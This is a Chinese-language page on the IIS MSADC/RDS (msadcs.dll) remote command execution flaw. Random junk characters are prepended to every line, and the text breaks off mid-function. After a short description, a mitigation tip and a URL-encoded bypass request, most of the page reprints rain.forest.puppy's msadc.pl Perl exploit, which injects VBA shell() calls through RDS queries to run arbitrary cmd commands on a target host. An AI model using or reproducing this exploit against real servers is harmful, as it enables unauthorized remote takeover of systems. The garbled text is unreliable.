IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
um0N)&iY wD)XjX 涉及程序:
~e@z;]CiY Microsoft NT server
TRq6NB yz8jw:d^- 描述:
v_-dx 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
c0u^zH< DR<9#RRD 详细:
G'A R`"F 如果你没有时间读详细内容的话,就删除:
sON|w86B c:\Program Files\Common Files\System\Msadc\msadcs.dll
b SU~XGPB 有关的安全问题就没有了。
@MCg%Afw g}',(tPMZ 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
K(Bf2Mfq tZG:Pr1U@ 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
Dm<A
^u8 关于利用ODBC远程漏洞的描述,请参看:
n6a`;0f[R kW&TJP+5* http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm ^r,=vO y
h9*z3 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
9qG6Pb http://www.microsoft.com/security/bulletins/MS99-025faq.asp Jg|XH
L) b1?'gn~ 这里不再论述。
S|`o]?nc> dlTt_. 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
) hfpwdQ u4h4.NHX /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
s!7y 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
k+pr \d ~ p=}Nn( 65Yv4pNL #将下面这段保存为txt文件,然后: "perl -x 文件名"
C>*u()q>4h ?<'}r7D #!perl
#4 pB@_ #
u:_,GQ )\ # MSADC/RDS 'usage' (aka exploit) script
;;N9>M?b #
OpYY{f # by rain.forest.puppy
I9hK }D #
g7W" # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
|8tilOqI # beta test and find errors!
I&W=Q[m hx]?&zT@ use Socket; use Getopt::Std;
wDe& 1(T^ getopts("e:vd:h:XR", \%args);
A2jUmK.& f=K]XTw~ print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
:&9s,l DlMW(4( if (!defined $args{h} && !defined $args{R}) {
81
sG print qq~
SKsKPqz Usage: msadc.pl -h <host> { -d <delay> -X -v }
wD'SPk5S? -h <host> = host you want to scan (ip or domain)
Z}Ft:7 -d <seconds> = delay between calls, default 1 second
W v+?TEP -X = dump Index Server path table, if available
A{D];pE` -v = verbose
]-/VHh -e = external dictionary file for step 5
?2Py_gkf :! !at:> Or a -R will resume a command session
L0WN\|D b!5~7Ub.No ~; exit;}
XuM'_FN`A< 2!=f hN $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
Gu\q%'I if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
9m~p0 ILh if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
;@Y;g(bw: if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
4u})+2W $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
n8ZZ#}Nhg if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
q'Tf,a '@k+4y9q? if (!defined $args{R}){ $ret = &has_msadc;
%aVq+kC h die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
x-&@wMqkc |H+UOEiv,p print "Please type the NT commandline you want to run (cmd /c assumed):\n"
8NAON5.! . "cmd /c ";
5uj?#)N $in=<STDIN>; chomp $in;
CN8Y\<Ar $command="cmd /c " . $in ;
H%Q7D- ;u46Z if (defined $args{R}) {&load; exit;}
8>in_h9 JO6)-U$7UG print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
-fW*vE: &try_btcustmr;
&(l9?EVq1 aE$[52 print "\nStep 2: Trying to make our own DSN...";
PP33i@G &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
>V8-i` a'yK~;+_9 print "\nStep 3: Trying known DSNs...";
SbrecZ &known_dsn;
)W
_v:?A9 x\G'kEd print "\nStep 4: Trying known .mdbs...";
o9yJf#-En &known_mdb;
dn$!& z/2//mM if (defined $args{e}){
DAr1C+Dy
print "\nStep 5: Trying dictionary of DSN names...";
'$]97b7G &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
>$/>#e~ O) n~](sC\ print "Sorry Charley...maybe next time?\n";
9gK`E exit;
y(yHt=r HJ[c M6$2 ##############################################################################
O:{~urV 9w"4K. sub sendraw { # ripped and modded from whisker
1JG'%8}#8 sleep($delay); # it's a DoS on the server! At least on mine...
L2i_X@/ my ($pstr)=@_;
~YWQ2] socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
wIaony die("Socket problems\n");
=|y9UlsD if(connect(S,pack "SnA4x8",2,80,$target)){
j[J-f@F \Y select(S); $|=1;
E,x+JeKV print $pstr; my @in=<S>;
xHLlMn4M select(STDOUT); close(S);
r1{@Ucw2 return @in;
">,|V-H } else { die("Can't connect...\n"); }}
LG|fq/; czgO ;3-C ##############################################################################
.2Elr(&*h yEoF4bt sub make_header { # make the HTTP request
9x9 T<cx my $msadc=<<EOT
u(F_oZ~ POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
9ZsVy User-Agent: ACTIVEDATA
w4{<n/" Host: $ip
U,{eHe ?>T Content-Length: $clen
:vQrOn18p Connection: Keep-Alive
:zke %Yx 5 ,B_u%bb ADCClientVersion:01.06
0{p#j~ZhC Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
CXx*_@}MU A>;bHf@ --!ADM!ROX!YOUR!WORLD!
'"/=f\)u Content-Type: application/x-varg
!6O(-S2A Content-Length: $reqlen
.glA
gt ;)z:fToh EOT
bSi%2Onj ; $msadc=~s/\n/\r\n/g;
2,b(,3{`4: return $msadc;}
BLf>_bUk DGn;m\B ##############################################################################
;~ $'2f~U pG^ sub make_req { # make the RDS request
m6\E$;` my ($switch, $p1, $p2)=@_;
+RM SA^ my $req=""; my $t1, $t2, $query, $dsn;
.K2qXw"S# n&qg;TT if ($switch==1){ # this is the btcustmr.mdb query
aU "8{ $query="Select * from Customers where City=" . make_shell();
IT7wT+ $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
$)ijN^hV $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
U175{N%3 c&?m>2^6 elsif ($switch==2){ # this is general make table query
/}fHt^2H $query="create table AZZ (B int, C varchar(10))";
8hz^%vm $dsn="$p1";}
kY|utoAP H.|#c^I elsif ($switch==3){ # this is general exploit table query
(Ag16 $query="select * from AZZ where C=" . make_shell();
FF(#]vz ' $dsn="$p1";}
`O!X(( /hH elsif ($switch==4){ # attempt to hork file info from index server
lH x^D;m6 $query="select path from scope()";
Rn(ec $dsn="Provider=MSIDXS;";}
s_OF( o ~IfJwBn-i elsif ($switch==5){ # bad query
tGh~!|P $query="select";
aFb==73aLw $dsn="$p1";}
.B]MpmpK IS{wtuA. $t1= make_unicode($query);
pnowy; $t2= make_unicode($dsn);
~Z?TFg
$req = "\x02\x00\x03\x00";
Xq]w<$
$req.= "\x08\x00" . pack ("S1", length($t1));
FaQe_; $req.= "\x00\x00" . $t1 ;
[P=Jw:E $req.= "\x08\x00" . pack ("S1", length($t2));
~hnQUS`A $req.= "\x00\x00" . $t2 ;
ll<Xz((o $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
^w@%cVh return $req;}
*yt=_Q FxtQXu-g ##############################################################################
F|o:W75 +>Qq(Y sub make_shell { # this makes the shell() statement
.
y-D16V return "'|shell(\"$command\")|'";}
%S@ZXf~: GmeQ`;9, ##############################################################################
hz;G$cuEE h-#6av: sub make_unicode { # quick little function to convert to unicode
nwB_8mN| my ($in)=@_; my $out;
QT<
}]
0 for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
:0j?oY~e return $out;}
J!v3i*j\ iwZPpl"; ##############################################################################
F3v!AvA| x=hiQ>BIO0 sub rdo_success { # checks for RDO return success (this is kludge)
Qcq`libK my (@in) = @_; my $base=content_start(@in);
nJG U-Z if($in[$base]=~/multipart\/mixed/){
b8`)y<